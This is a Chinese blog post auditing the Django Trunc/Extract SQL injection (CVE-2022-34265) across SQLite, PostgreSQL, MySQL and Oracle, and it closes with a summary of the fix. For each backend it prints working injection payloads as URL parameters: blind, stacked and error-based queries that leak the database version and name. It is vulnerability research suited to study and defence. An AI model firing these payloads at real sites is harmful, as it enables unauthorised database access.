暂无简介
前言
Django 这个漏洞 p 牛在小密圈里发过一些分析,有谈到过不同数据库的情况下,漏洞存在情况有异,其他复现的文章我也多少阅读过,大多是 PostgreSQL 和 MYSQL 的,并且有些仅谈到了其中一个漏洞函数,笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和 SQLite,payload 的构造也不尽相同,就想着自己搭建环境调试看看具体情况。
由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢。
环境配置
环境使用的是作者提供的样例(基于官方文档的例子),当然 p 牛的 vulhub 也建议读者去复现一下(Trunc 的回显是非常直观的),如果读者有改动数据库的需求的话,直接在 settings.py 文件中修改 DATABASE
即可,笔者的配置如下,具体请根据注释修改。
# SQLite 配置
# Django 默认数据库 SQLite
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# PostgreSQL 配置
# 需要先 pip install psycopg2
# 如果有问题,请走 https://github.com/psycopg/psycopg2
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.postgresql',
# 'NAME': '你的数据库名称',
# 'USER': '数据库用户名',
# 'PASSWORD': '数据库密码',
# 'HOST': '127.0.0.1',
# 'PORT': '默认是5432,视读者实际安装端口修改',
# }
# }
# MYSQL 配置
# 需要先 pip install mysqlclient
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.mysql',
# 'NAME': '你的数据库名称',
# 'HOST': 'localhost',
# 'PORT': '3306',
# 'USER': '数据库用户名',
# "PASSWORD": '数据库密码',
# }
# }
# Oracle 配置
# Oracle 的写法有两种,新安装的读者可以直接套用以下配置
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.oracle',
# 'NAME': 'localhost:1521/orcl',
# 'USER': 'system',
# 'PASSWORD': '数据库密码',
# }
# }
修改完后,根据自己的 appname 填入,执行以下命令生成实验表即可(如果你是用了作者的环境,直接执行第三条即可)。
python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate
VS 调试的话,配置 launch.json 中的 justMyCode
记得改为 false
才能调试到 Django 中的代码:
漏洞详情
在受影响的 Django 版本中,如果 ORM 日期函数 Trunc()
(其中参数 kind
)和 Extract()
(其中参数 lookup_name
),在业务逻辑中前端页面没有进行输入过滤、转义,则可构造恶意 payload 导致 SQL 注入攻击。
将 lookup_name
和 kind
限制在已知安全列表中的应用程序不受影响。
官方通告:Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django (djangoproject.com)
影响版本
漏洞函数介绍
简单来说 Extract()
通常用于提取日期一部分,比如我想要获取新海诚所有动漫电影上映的年份,侧重的是日期。
而 Trunc()
是聚合函数,常常用在统计某个日期的一部分所发生的事或者某一数据,比如我想要获取 2019 年上映了多少动漫电影、9 月某部电影的票房多少等等,侧重的是数据。
以下是官方文档的介绍供补充:
Extract()
常用于提取日期的一个组成部分作为一个数字。具体参数设置:
lookup_name
设置不同值的结果:上面的每个
lookup_name
都有一个相应的Extract
子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如,使用ExtractYear(...)
而不是Extract(...,lookup_name='year')
。
Trunc()
用于截断日期的某一部分,它及其子类通常用于过滤或汇总数据(关心某事是否发生在某年、某小时或某天,而不关心确切的秒数时),比如用来计算每天的销售量。具体参数设置:
kind
设置不同值的结果:同样的,以上每个
kind
都有一个对应的Trunc
子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如使用TruncYear(...)
而不是Trunc(...,kind='year')
。
审计调试
首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name
和 Trunc 中的 kind
这两个参数,这俩在调试过程中发现其实就是 lookup_type
。
因为具体过程比较复杂,在省略了一系列包括使用 F()
对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:
django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)
django\db\models\query.py ->class QuerySet
Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。
django\db\models\functions\datetime.py -> as_sql
as_sql
用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle
。
django\db\models\sql\compiler.py -> class SQLCompile -> compile
compile
为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。
django\db\models\lookups.py -> Lookup
最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASES
中 ENGINE
对应的配置)中的 datetime_extract_sql
以及 datetime_trunc_sql
方法对于 lookup_type
这个参数的处理来判断是否存在漏洞。
以下调试部分都基于上面总结的过程来进行分析。
SQLite
def datetime_extract_sql(self, lookup_type, field_name, tzname):
return "django_datetime_extract('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
return "django_datetime_trunc('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)
可以看到只是将值变小写了。
先看正常测试查询结果:
调试过程中获取到 sql 语句如下:
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment"
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))
调试中看到 year 作为 payload 拼接进语句,此前是毫无过滤的,因此造成了注入。
Trunc 函数的 sql 语句:
django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL)
-- 查询语句
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))
由上可构造 poc(Extract 和 Trunc 的构造类同):
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +
以上回显不同,可以使用盲注,另外 SQLite 没有 IF,用 CASE WHEN
即可。
PostgreSQL
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)
date_extract_sql
def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)
Extract 的 sql 语句:
调试获取到的 sql 语句如下:
EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')
Trunc 的 sql 语句:
DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");
-- 查询语句如下
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))
由上构造 payload:
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
报错注入如下:
因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。
MYSQL
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
fields = ["year", "month", "day", "hour", "minute", "second"]
# 可以看到 fields 都有对应的 format 填充
format = (
"%%Y-",
"%%m",
"-%%d",
" %%H:",
"%%i",
":%%s",
) # Use double percents to escape.
format_def = ("0000-", "01", "-01", " 00:", "00", ":00")
if lookup_type == "quarter":
return (
"CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + "
"INTERVAL QUARTER({field_name}) QUARTER - "
+ "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)"
).format(field_name=field_name)
if lookup_type == "week":
return (
"CAST(DATE_FORMAT(DATE_SUB({field_name}, "
"INTERVAL WEEKDAY({field_name}) DAY), "
"'%%Y-%%m-%%d 00:00:00') AS DATETIME)"
).format(field_name=field_name)
try:
i = fields.index(lookup_type) + 1
except ValueError:
sql = field_name
else:
format_str = "".join(format[:i] + format_def[i:])
sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
return sql
就上面的来看 Trunc 是不存在漏洞的,都用对应 format 格式字符串代替了,来看 Extract 调用的 date_extract_sql
:
def date_extract_sql(self, lookup_type, field_name):
...
else:
# EXTRACT returns 1-53 based on ISO-8601 for the week number.
# 进入这个分支
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
不过是将值变为了大写。
下面调试获取 sql 语句看看:
调试获取到 EXTRACT sql 语句如下:
EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)
注意 MYSQL 中拼接没用单双引号。
payload 构造:
/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +
接下来测试 Trunc 函数:
调试获取到的 sql 语句如下:
CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)
-- 查询语句
SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment`
WHERE DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21
可以看到与代码对应了,故 MYSQL 后端 Trunc 函数并不存在该漏洞。
Oracle
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)
def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html
if lookup_type in ("year", "month"):
sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
elif lookup_type == "quarter":
sql = "TRUNC(%s, 'Q')" % field_name
elif lookup_type == "week":
sql = "TRUNC(%s, 'IW')" % field_name
elif lookup_type == "day":
sql = "TRUNC(%s)" % field_name
elif lookup_type == "hour":
sql = "TRUNC(%s, 'HH24')" % field_name
elif lookup_type == "minute":
sql = "TRUNC(%s, 'MI')" % field_name
else:
# 进入这个分支
sql = (
"CAST(%s AS DATE)" % field_name
) # Cast to DATE removes sub-second precision.
return sql
可以看到 Trunc 是不存在的,拼接进去的只有 field_name,date_extract_sql
还是老样子改了个大写:
def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)
Extract 调试:
调试获取到的 sql 语句:
EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")
payload 可类似构造如下(Oracle 不能堆叠注入):
/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +
接下来测试 Trunc 函数:
sql 语句如下:
TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))
没有 lookup_type
拼接入,所以 Oracle 后端 Trunc 也是不存在漏洞的。
修复总结
由上审计调试过程可以得出一个结论——在 Django 影响版本下, Extract 在常用四大数据库中是都存在漏洞的,而 Trunc 在 Oracle 和 MYSQL 作为后端数据库时并不存在漏洞,其他比如 MariaDB 是同 MYSQL 共享后端的,漏洞存在情况应同 MYSQL 一致,而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同,这些都要具体情况具体分析了。
来看看是怎么修复的:
可以看到在 base 模块(因为 Django 是子类化内置数据库后端的)加了一个正则匹配,而之后在 as_sql
生成 sql 片段时就做了一个判断,提前做好了过滤:
参考文档
数据库函数 | Django 文档 | Django (djangoproject.com)
GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django)
以及 p 牛在《代码审计》知识星球中的分析。
- 本文作者: Snovvn
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11628
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!